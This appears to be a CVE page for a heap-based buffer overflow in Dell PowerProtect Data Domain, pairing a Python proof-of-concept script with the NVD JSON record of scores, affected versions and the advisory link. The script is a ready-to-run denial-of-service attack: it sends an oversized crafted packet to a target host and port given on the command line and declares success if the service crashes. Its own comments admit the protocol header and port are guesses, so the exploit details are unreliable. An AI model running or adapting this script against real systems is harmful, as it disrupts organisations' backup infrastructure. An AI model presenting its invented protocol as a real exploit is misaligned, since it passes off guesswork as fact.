CVE-2025-43912

#!/usr/bin/env python3 # CVE-2025-43912 - Dell PowerProtect Data Domain Heap-based Buffer Overflow PoC # This is a conceptual proof-of-concept demonstrating the vulnerability trigger. # The actual vulnerable endpoint and payload structure may vary based on # the specific DD OS version and service configuration. import socket import struct import sys TARGET_HOST = "192.168.1.100" # Target Dell PowerProtect Data Domain IP TARGET_PORT = 3009 # Common DD management/replication port (adjust as needed) BUFFER_SIZE = 8192 # Oversized payload to trigger heap overflow def build_malicious_packet(): """ Build a crafted network packet with an oversized payload field to trigger the heap-based buffer overflow vulnerability. """ # Protocol header (simplified - actual protocol may differ) header = b"\x00\x00\x00\x01" # Magic / version bytes header += struct.pack(">H", 0x0001) # Command type header += struct.pack(">I", BUFFER_SIZE) # Declared payload length (mismatched) # Oversized payload to overflow heap buffer payload = b"\x41" * BUFFER_SIZE # Fill with 'A' (0x41) packet = header + payload return packet def exploit(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending oversized payload ({BUFFER_SIZE} bytes) to trigger heap overflow...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) packet = build_malicious_packet() sock.send(packet) response = sock.recv(4096) print(f"[*] Response received: {len(response)} bytes") # Check if service crashed (no further response expected) try: sock.send(b"\x00" * 16) sock.recv(1024) print("[-] Service still responsive - exploit may have failed") except (socket.timeout, ConnectionResetError, BrokenPipeError): print("[+] Service appears to have crashed - DoS successful!") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) exploit()

{"cve": {"id": "CVE-2025-43912", "sourceIdentifier": "[email protected]", "published": "2025-10-07T19:15:37.870", "lastModified": "2025-10-14T20:09:14.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain a Heap-based Buffer Overflow vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.1.0", "versionEndExcluding": "7.10.1.70", "matchCriteriaId": "7FCE50EA-F2B8-4455-A489-1947B0CBFEEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.13.1.0", "versionEndExcluding": "7.13.1.40", "matchCriteriaId": "C0EA46C5-6776-411A-8FBC-5B32BC216888"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0.0", "versionEndIncluding": "8.3.0.15", "matchCriteriaId": "F1DB489A-E2CF-4477-A08B-101B569A714E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.1.0", "versionEndExcluding": "8.3.1.10", "matchCriteriaId": "9E0743E3-14E7-4FF9-88C5-E038D62F2344"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000376224/dsa-2025-333-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}